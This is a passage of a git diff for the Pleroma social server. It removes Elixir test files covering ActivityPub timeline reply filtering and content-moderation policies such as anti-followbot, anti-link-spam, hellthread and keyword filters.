CommonAPI.repeat(other_post.id, other_user) - - params = %{ - type: ["Announce"] - } - - results = - [user.ap_id | User.following(user)] - |> ActivityPub.fetch_activities(params) - - assert length(results) == 3 - - params = %{ - type: ["Announce"], - announce_filtering_user: user - } - - [result] = - [user.ap_id | User.following(user)] - |> ActivityPub.fetch_activities(params) - - assert result.id == announce.id - end - end - - describe "replies filtering with private messages" do - setup :private_messages - - test "public timeline", %{users: %{u1: user}} do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert activities_ids == [] - end - - test "public timeline with default reply_visibility `following`", %{users: %{u1: user}} do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:reply_filtering_user, user) - |> Map.put(:user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert activities_ids == [] - end - - test "public timeline with default reply_visibility `self`", %{users: %{u1: user}} do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, user) - |> Map.put(:user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert activities_ids == [] - - activities_ids = - %{} - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, nil) - |> ActivityPub.fetch_public_activities() - - assert activities_ids == [] - end - - test "home timeline", %{users: %{u1: user}} do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 12 - end - - test "home timeline with default reply_visibility `following`", %{users: %{u1: user}} do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 12 - end - - test "home timeline with default reply_visibility `self`", %{ - users: %{u1: user}, - activities: activities, - u1: u1, - u2: u2, - u3: u3, - u4: u4 - } do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 10 - - visible_ids = - Map.values(u1) ++ Map.values(u4) ++ [u2[:r1], u3[:r1]] ++ Map.values(activities) - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - end - - defp public_messages(_) do - [u1, u2, u3, u4] = insert_list(4, :user) - {:ok, u1} = User.follow(u1, u2) - {:ok, u2} = User.follow(u2, u1) - {:ok, u1} = User.follow(u1, u4) - {:ok, u4} = User.follow(u4, u1) - - {:ok, u2} = User.follow(u2, u3) - {:ok, u3} = User.follow(u3, u2) - - {:ok, a1} = CommonAPI.post(u1, %{status: "Status"}) - - {:ok, r1_1} = - CommonAPI.post(u2, %{ - status: "@#{u1.nickname} reply from u2 to u1", - in_reply_to_status_id: a1.id - }) - - {:ok, r1_2} = - CommonAPI.post(u3, %{ - status: "@#{u1.nickname} reply from u3 to u1", - in_reply_to_status_id: a1.id - }) - - {:ok, r1_3} = - CommonAPI.post(u4, %{ - status: "@#{u1.nickname} reply from u4 to u1", - in_reply_to_status_id: a1.id - }) - - {:ok, a2} = CommonAPI.post(u2, %{status: "Status"}) - - {:ok, r2_1} = - CommonAPI.post(u1, %{ - status: "@#{u2.nickname} reply from u1 to u2", - in_reply_to_status_id: a2.id - }) - - {:ok, r2_2} = - CommonAPI.post(u3, %{ - status: "@#{u2.nickname} reply from u3 to u2", - in_reply_to_status_id: a2.id - }) - - {:ok, r2_3} = - CommonAPI.post(u4, %{ - status: "@#{u2.nickname} reply from u4 to u2", - in_reply_to_status_id: a2.id - }) - - {:ok, a3} = CommonAPI.post(u3, %{status: "Status"}) - - {:ok, r3_1} = - CommonAPI.post(u1, %{ - status: "@#{u3.nickname} reply from u1 to u3", - in_reply_to_status_id: a3.id - }) - - {:ok, r3_2} = - CommonAPI.post(u2, %{ - status: "@#{u3.nickname} reply from u2 to u3", - in_reply_to_status_id: a3.id - }) - - {:ok, r3_3} = - CommonAPI.post(u4, %{ - status: "@#{u3.nickname} reply from u4 to u3", - in_reply_to_status_id: a3.id - }) - - {:ok, a4} = CommonAPI.post(u4, %{status: "Status"}) - - {:ok, r4_1} = - CommonAPI.post(u1, %{ - status: "@#{u4.nickname} reply from u1 to u4", - in_reply_to_status_id: a4.id - }) - - {:ok, r4_2} = - CommonAPI.post(u2, %{ - status: "@#{u4.nickname} reply from u2 to u4", - in_reply_to_status_id: a4.id - }) - - {:ok, r4_3} = - CommonAPI.post(u3, %{ - status: "@#{u4.nickname} reply from u3 to u4", - in_reply_to_status_id: a4.id - }) - - {:ok, - users: %{u1: u1, u2: u2, u3: u3, u4: u4}, - activities: %{a1: a1.id, a2: a2.id, a3: a3.id, a4: a4.id}, - u1: %{r1: r1_1.id, r2: r1_2.id, r3: r1_3.id}, - u2: %{r1: r2_1.id, r2: r2_2.id, r3: r2_3.id}, - u3: %{r1: r3_1.id, r2: r3_2.id, r3: r3_3.id}, - u4: %{r1: r4_1.id, r2: r4_2.id, r3: r4_3.id}} - end - - defp private_messages(_) do - [u1, u2, u3, u4] = insert_list(4, :user) - {:ok, u1} = User.follow(u1, u2) - {:ok, u2} = User.follow(u2, u1) - {:ok, u1} = User.follow(u1, u3) - {:ok, u3} = User.follow(u3, u1) - {:ok, u1} = User.follow(u1, u4) - {:ok, u4} = User.follow(u4, u1) - - {:ok, u2} = User.follow(u2, u3) - {:ok, u3} = User.follow(u3, u2) - - {:ok, a1} = CommonAPI.post(u1, %{status: "Status", visibility: "private"}) - - {:ok, r1_1} = - CommonAPI.post(u2, %{ - status: "@#{u1.nickname} reply from u2 to u1", - in_reply_to_status_id: a1.id, - visibility: "private" - }) - - {:ok, r1_2} = - CommonAPI.post(u3, %{ - status: "@#{u1.nickname} reply from u3 to u1", - in_reply_to_status_id: a1.id, - visibility: "private" - }) - - {:ok, r1_3} = - CommonAPI.post(u4, %{ - status: "@#{u1.nickname} reply from u4 to u1", - in_reply_to_status_id: a1.id, - visibility: "private" - }) - - {:ok, a2} = CommonAPI.post(u2, %{status: "Status", visibility: "private"}) - - {:ok, r2_1} = - CommonAPI.post(u1, %{ - status: "@#{u2.nickname} reply from u1 to u2", - in_reply_to_status_id: a2.id, - visibility: "private" - }) - - {:ok, r2_2} = - CommonAPI.post(u3, %{ - status: "@#{u2.nickname} reply from u3 to u2", - in_reply_to_status_id: a2.id, - visibility: "private" - }) - - {:ok, a3} = CommonAPI.post(u3, %{status: "Status", visibility: "private"}) - - {:ok, r3_1} = - CommonAPI.post(u1, %{ - status: "@#{u3.nickname} reply from u1 to u3", - in_reply_to_status_id: a3.id, - visibility: "private" - }) - - {:ok, r3_2} = - CommonAPI.post(u2, %{ - status: "@#{u3.nickname} reply from u2 to u3", - in_reply_to_status_id: a3.id, - visibility: "private" - }) - - {:ok, a4} = CommonAPI.post(u4, %{status: "Status", visibility: "private"}) - - {:ok, r4_1} = - CommonAPI.post(u1, %{ - status: "@#{u4.nickname} reply from u1 to u4", - in_reply_to_status_id: a4.id, - visibility: "private" - }) - - {:ok, - users: %{u1: u1, u2: u2, u3: u3, u4: u4}, - activities: %{a1: a1.id, a2: a2.id, a3: a3.id, a4: a4.id}, - u1: %{r1: r1_1.id, r2: r1_2.id, r3: r1_3.id}, - u2: %{r1: r2_1.id, r2: r2_2.id}, - u3: %{r1: r3_1.id, r2: r3_2.id}, - u4: %{r1: r4_1.id}} - end - - describe "maybe_update_follow_information/1" do - setup do - clear_config([:instance, :external_user_synchronization], true) - - user = %{ - local: false, - ap_id: "https://gensokyo.2hu/users/raymoo", - following_address: "https://gensokyo.2hu/users/following", - follower_address: "https://gensokyo.2hu/users/followers", - type: "Person" - } - - %{user: user} - end - - test "logs an error when it can't fetch the info", %{user: user} do - assert capture_log(fn -> - ActivityPub.maybe_update_follow_information(user) - end) =~ "Follower/Following counter update for #{user.ap_id} failed" - end - - test "just returns the input if the user type is Application", %{ - user: user - } do - user = - user - |> Map.put(:type, "Application") - - refute capture_log(fn -> - assert ^user = ActivityPub.maybe_update_follow_information(user) - end) =~ "Follower/Following counter update for #{user.ap_id} failed" - end - - test "it just returns the input if the user has no following/follower addresses", %{ - user: user - } do - user = - user - |> Map.put(:following_address, nil) - |> Map.put(:follower_address, nil) - - refute capture_log(fn -> - assert ^user = ActivityPub.maybe_update_follow_information(user) - end) =~ "Follower/Following counter update for #{user.ap_id} failed" - end - end - - describe "global activity expiration" do - test "creates an activity expiration for local Create activities" do - clear_config([:mrf, :policies], Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy) - - {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) - {:ok, follow} = ActivityBuilder.insert(%{"type" => "Follow", "context" => "3hu"}) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity.id}, - scheduled_at: - activity.inserted_at - |> DateTime.from_naive!("Etc/UTC") - |> Timex.shift(days: 365) - ) - - refute_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: follow.id} - ) - end - end - - describe "handling of clashing nicknames" do - test "renames an existing user with a clashing nickname and a different ap id" do - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/harinezumigari" - ) - - %{ - nickname: orig_user.nickname, - ap_id: orig_user.ap_id <> "part_2" - } - |> ActivityPub.maybe_handle_clashing_nickname() - - user = User.get_by_id(orig_user.id) - - assert user.nickname == "#{orig_user.id}.admin@mastodon.example.org" - end - - test "does nothing with a clashing nickname and the same ap id" do - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/harinezumigari" - ) - - %{ - nickname: orig_user.nickname, - ap_id: orig_user.ap_id - } - |> ActivityPub.maybe_handle_clashing_nickname() - - user = User.get_by_id(orig_user.id) - - assert user.nickname == orig_user.nickname - end - end - - describe "reply filtering" do - test "`following` still contains announcements by friends" do - user = insert(:user) - followed = insert(:user) - not_followed = insert(:user) - - User.follow(user, followed) - - {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) - - {:ok, not_followed_to_followed} = - CommonAPI.post(not_followed, %{ - status: "Also hello", - in_reply_to_status_id: followed_post.id - }) - - {:ok, retoot} = CommonAPI.repeat(not_followed_to_followed.id, followed) - - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_filtering_user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:announce_filtering_user, user) - |> Map.put(:user, user) - - activities = - [user.ap_id | User.following(user)] - |> ActivityPub.fetch_activities(params) - - followed_post_id = followed_post.id - retoot_id = retoot.id - - assert [%{id: ^followed_post_id}, %{id: ^retoot_id}] = activities - - assert length(activities) == 2 - end - - # This test is skipped because, while this is the desired behavior, - # there seems to be no good way to achieve it with the method that - # we currently use for detecting to who a reply is directed. - # This is a TODO and should be fixed by a later rewrite of the code - # in question. - @tag skip: true - test "`following` still contains self-replies by friends" do - user = insert(:user) - followed = insert(:user) - not_followed = insert(:user) - - User.follow(user, followed) - - {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) - {:ok, not_followed_post} = CommonAPI.post(not_followed, %{status: "Also hello"}) - - {:ok, _followed_to_not_followed} = - CommonAPI.post(followed, %{status: "sup", in_reply_to_status_id: not_followed_post.id}) - - {:ok, _followed_self_reply} = - CommonAPI.post(followed, %{status: "Also cofe", in_reply_to_status_id: followed_post.id}) - - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_filtering_user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:announce_filtering_user, user) - |> Map.put(:user, user) - - activities = - [user.ap_id | User.following(user)] - |> ActivityPub.fetch_activities(params) - - assert length(activities) == 2 - end - end -end diff --git a/test/web/activity_pub/mrf/activity_expiration_policy_test.exs b/test/web/activity_pub/mrf/activity_expiration_policy_test.exs deleted file mode 100644 index e7370d4ef..000000000 --- a/test/web/activity_pub/mrf/activity_expiration_policy_test.exs +++ /dev/null @@ -1,84 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicyTest do - use ExUnit.Case, async: true - alias Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy - - @id Pleroma.Web.Endpoint.url() <> "/activities/cofe" - @local_actor Pleroma.Web.Endpoint.url() <> "/users/cofe" - - test "adds `expires_at` property" do - assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = - ActivityExpirationPolicy.filter(%{ - "id" => @id, - "actor" => @local_actor, - "type" => "Create", - "object" => %{"type" => "Note"} - }) - - assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 - end - - test "keeps existing `expires_at` if it less than the config setting" do - expires_at = DateTime.utc_now() |> Timex.shift(days: 1) - - assert {:ok, %{"type" => "Create", "expires_at" => ^expires_at}} = - ActivityExpirationPolicy.filter(%{ - "id" => @id, - "actor" => @local_actor, - "type" => "Create", - "expires_at" => expires_at, - "object" => %{"type" => "Note"} - }) - end - - test "overwrites existing `expires_at` if it greater than the config setting" do - too_distant_future = DateTime.utc_now() |> Timex.shift(years: 2) - - assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = - ActivityExpirationPolicy.filter(%{ - "id" => @id, - "actor" => @local_actor, - "type" => "Create", - "expires_at" => too_distant_future, - "object" => %{"type" => "Note"} - }) - - assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 - end - - test "ignores remote activities" do - assert {:ok, activity} = - ActivityExpirationPolicy.filter(%{ - "id" => "https://example.com/123", - "actor" => "https://example.com/users/cofe", - "type" => "Create", - "object" => %{"type" => "Note"} - }) - - refute Map.has_key?(activity, "expires_at") - end - - test "ignores non-Create/Note activities" do - assert {:ok, activity} = - ActivityExpirationPolicy.filter(%{ - "id" => "https://example.com/123", - "actor" => "https://example.com/users/cofe", - "type" => "Follow" - }) - - refute Map.has_key?(activity, "expires_at") - - assert {:ok, activity} = - ActivityExpirationPolicy.filter(%{ - "id" => "https://example.com/123", - "actor" => "https://example.com/users/cofe", - "type" => "Create", - "object" => %{"type" => "Cofe"} - }) - - refute Map.has_key?(activity, "expires_at") - end -end diff --git a/test/web/activity_pub/mrf/anti_followbot_policy_test.exs b/test/web/activity_pub/mrf/anti_followbot_policy_test.exs deleted file mode 100644 index 3c795f5ac..000000000 --- a/test/web/activity_pub/mrf/anti_followbot_policy_test.exs +++ /dev/null @@ -1,72 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicy - - describe "blocking based on attributes" do - test "matches followbots by nickname" do - actor = insert(:user, %{nickname: "followbot@example.com"}) - target = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Follow", - "actor" => actor.ap_id, - "object" => target.ap_id, - "id" => "https://example.com/activities/1234" - } - - assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message) - end - - test "matches followbots by display name" do - actor = insert(:user, %{name: "Federation Bot"}) - target = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Follow", - "actor" => actor.ap_id, - "object" => target.ap_id, - "id" => "https://example.com/activities/1234" - } - - assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message) - end - end - - test "it allows non-followbots" do - actor = insert(:user) - target = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Follow", - "actor" => actor.ap_id, - "object" => target.ap_id, - "id" => "https://example.com/activities/1234" - } - - {:ok, _} = AntiFollowbotPolicy.filter(message) - end - - test "it gracefully handles nil display names" do - actor = insert(:user, %{name: nil}) - target = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Follow", - "actor" => actor.ap_id, - "object" => target.ap_id, - "id" => "https://example.com/activities/1234" - } - - {:ok, _} = AntiFollowbotPolicy.filter(message) - end -end diff --git a/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs b/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs deleted file mode 100644 index 6867c9853..000000000 --- a/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs +++ /dev/null @@ -1,166 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - import ExUnit.CaptureLog - - alias Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicy - - @linkless_message %{ - "type" => "Create", - "object" => %{ - "content" => "hi world!" - } - } - - @linkful_message %{ - "type" => "Create", - "object" => %{ - "content" => "<a href='https://example.com'>hi world!</a>" - } - } - - @response_message %{ - "type" => "Create", - "object" => %{ - "name" => "yes", - "type" => "Answer" - } - } - - describe "with new user" do - test "it allows posts without links" do - user = insert(:user, local: false) - - assert user.note_count == 0 - - message = - @linkless_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - - test "it disallows posts with links" do - user = insert(:user, local: false) - - assert user.note_count == 0 - - message = - @linkful_message - |> Map.put("actor", user.ap_id) - - {:reject, _} = AntiLinkSpamPolicy.filter(message) - end - - test "it allows posts with links for local users" do - user = insert(:user) - - assert user.note_count == 0 - - message = - @linkful_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - end - - describe "with old user" do - test "it allows posts without links" do - user = insert(:user, note_count: 1) - - assert user.note_count == 1 - - message = - @linkless_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - - test "it allows posts with links" do - user = insert(:user, note_count: 1) - - assert user.note_count == 1 - - message = - @linkful_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - end - - describe "with followed new user" do - test "it allows posts without links" do - user = insert(:user, follower_count: 1) - - assert user.follower_count == 1 - - message = - @linkless_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - - test "it allows posts with links" do - user = insert(:user, follower_count: 1) - - assert user.follower_count == 1 - - message = - @linkful_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - end - - describe "with unknown actors" do - setup do - Tesla.Mock.mock(fn - %{method: :get, url: "http://invalid.actor"} -> - %Tesla.Env{status: 500, body: ""} - end) - - :ok - end - - test "it rejects posts without links" do - message = - @linkless_message - |> Map.put("actor", "http://invalid.actor") - - assert capture_log(fn -> - {:reject, _} = AntiLinkSpamPolicy.filter(message) - end) =~ "[error] Could not decode user at fetch http://invalid.actor" - end - - test "it rejects posts with links" do - message = - @linkful_message - |> Map.put("actor", "http://invalid.actor") - - assert capture_log(fn -> - {:reject, _} = AntiLinkSpamPolicy.filter(message) - end) =~ "[error] Could not decode user at fetch http://invalid.actor" - end - end - - describe "with contentless-objects" do - test "it does not reject them or error out" do - user = insert(:user, note_count: 1) - - message = - @response_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - end -end diff --git a/test/web/activity_pub/mrf/ensure_re_prepended_test.exs b/test/web/activity_pub/mrf/ensure_re_prepended_test.exs deleted file mode 100644 index 9a283f27d..000000000 --- a/test/web/activity_pub/mrf/ensure_re_prepended_test.exs +++ /dev/null @@ -1,92 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.EnsureRePrependedTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.MRF.EnsureRePrepended - - describe "rewrites summary" do - test "it adds `re:` to summary object when child summary and parent summary equal" do - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "object-summary", - "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "object-summary"}}} - } - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res["object"]["summary"] == "re: object-summary" - end - - test "it adds `re:` to summary object when child summary containts re-subject of parent summary " do - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "object-summary", - "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "re: object-summary"}}} - } - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res["object"]["summary"] == "re: object-summary" - end - end - - describe "skip filter" do - test "it skip if type isn't 'Create'" do - message = %{ - "type" => "Annotation", - "object" => %{"summary" => "object-summary"} - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - - test "it skip if summary is empty" do - message = %{ - "type" => "Create", - "object" => %{ - "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}} - } - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - - test "it skip if inReplyTo is empty" do - message = %{"type" => "Create", "object" => %{"summary" => "summary"}} - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - - test "it skip if parent and child summary isn't equal" do - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "object-summary", - "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}} - } - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - - test "it skips if the object is only a reference" do - message = %{ - "type" => "Create", - "object" => "somereference" - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - end -end diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs deleted file mode 100644 index 86dd9ddae..000000000 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy - @public "https://www.w3.org/ns/activitystreams#Public" - - defp generate_messages(actor) do - {%{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - }, - %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - }} - end - - test "removes from the federated timeline by nickname heuristics 1" do - actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by nickname heuristics 2" do - actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Application" do - actor = insert(:user, %{actor_type: "Application"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Service" do - actor = insert(:user, %{actor_type: "Service"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end -end diff --git a/test/web/activity_pub/mrf/hellthread_policy_test.exs b/test/web/activity_pub/mrf/hellthread_policy_test.exs deleted file mode 100644 index 26f5bcdaa..000000000 --- a/test/web/activity_pub/mrf/hellthread_policy_test.exs +++ /dev/null @@ -1,92 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.HellthreadPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - import Pleroma.Web.ActivityPub.MRF.HellthreadPolicy - - alias Pleroma.Web.CommonAPI - - setup do - user = insert(:user) - - message = %{ - "actor" => user.ap_id, - "cc" => [user.follower_address], - "type" => "Create", - "to" => [ - "https://www.w3.org/ns/activitystreams#Public", - "https://instance.tld/users/user1", - "https://instance.tld/users/user2", - "https://instance.tld/users/user3" - ], - "object" => %{ - "type" => "Note" - } - } - - [user: user, message: message] - end - - setup do: clear_config(:mrf_hellthread) - - test "doesn't die on chat messages" do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 2, reject_threshold: 0}) - - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post_chat_message(user, other_user, "moin") - - assert {:ok, _} = filter(activity.data) - end - - describe "reject" do - test "rejects the message if the recipient count is above reject_threshold", %{ - message: message - } do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 2}) - - assert {:reject, "[HellthreadPolicy] 3 recipients is over the limit of 2"} == - filter(message) - end - - test "does not reject the message if the recipient count is below reject_threshold", %{ - message: message - } do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 3}) - - assert {:ok, ^message} = filter(message) - end - end - - describe "delist" do - test "delists the message if the recipient count is above delist_threshold", %{ - user: user, - message: message - } do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 2, reject_threshold: 0}) - - {:ok, message} = filter(message) - assert user.follower_address in message["to"] - assert "https://www.w3.org/ns/activitystreams#Public" in message["cc"] - end - - test "does not delist the message if the recipient count is below delist_threshold", %{ - message: message - } do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 4, reject_threshold: 0}) - - assert {:ok, ^message} = filter(message) - end - end - - test "excludes follower collection and public URI from threshold count", %{message: message} do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 3}) - - assert {:ok, ^message} = filter(message) - end -end diff --git a/test/web/activity_pub/mrf/keyword_policy_test.exs b/test/web/activity_pub/mrf/keyword_policy_test.exs deleted file mode 100644 index b3d0f3d90..000000000 --- a/test/web/activity_pub/mrf/keyword_policy_test.exs +++ /dev/null @@ -1,225 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.KeywordPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.MRF.KeywordPolicy - - setup do: clear_config(:mrf_keyword) - - setup do - Pleroma.Config.put([:mrf_keyword], %{reject: [], federated_timeline_removal: [], replace: []}) - end - - describe "rejecting based on keywords" do - test "rejects if string matches in content" do - Pleroma.Config.put([:mrf_keyword, :reject], ["pun"]) - - message = %{ - "type" => "Create", - "object" => %{ - "content" => "just a daily reminder that compLAINer is a good pun", - "summary" => "" - } - } - - assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} = - KeywordPolicy.filter(message) - end - - test "rejects if string matches in summary" do - Pleroma.Config.put([:mrf_keyword, :reject], ["pun"]) - - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "just a daily reminder that compLAINer is a good pun", - "content" => "" - } - } - - assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} = - KeywordPolicy.filter(message) - end - - test "rejects if regex matches in content" do - Pleroma.Config.put([:mrf_keyword, :reject], [~r/comp[lL][aA][iI][nN]er/]) - - assert true == - Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> - message = %{ - "type" => "Create", - "object" => %{ - "content" => "just a daily reminder that #{content} is a good pun", - "summary" => "" - } - } - - {:reject, "[KeywordPolicy] Matches with rejected keyword"} == - KeywordPolicy.filter(message) - end) - end - - test "rejects if regex matches in summary" do - Pleroma.Config.put([:mrf_keyword, :reject], [~r/comp[lL][aA][iI][nN]er/]) - - assert true == - Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "just a daily reminder that #{content} is a good pun", - "content" => "" - } - } - - {:reject, "[KeywordPolicy] Matches with rejected keyword"} == - KeywordPolicy.filter(message) - end) - end - end - - describe "delisting from ftl based on keywords" do - test "delists if string matches in content" do - 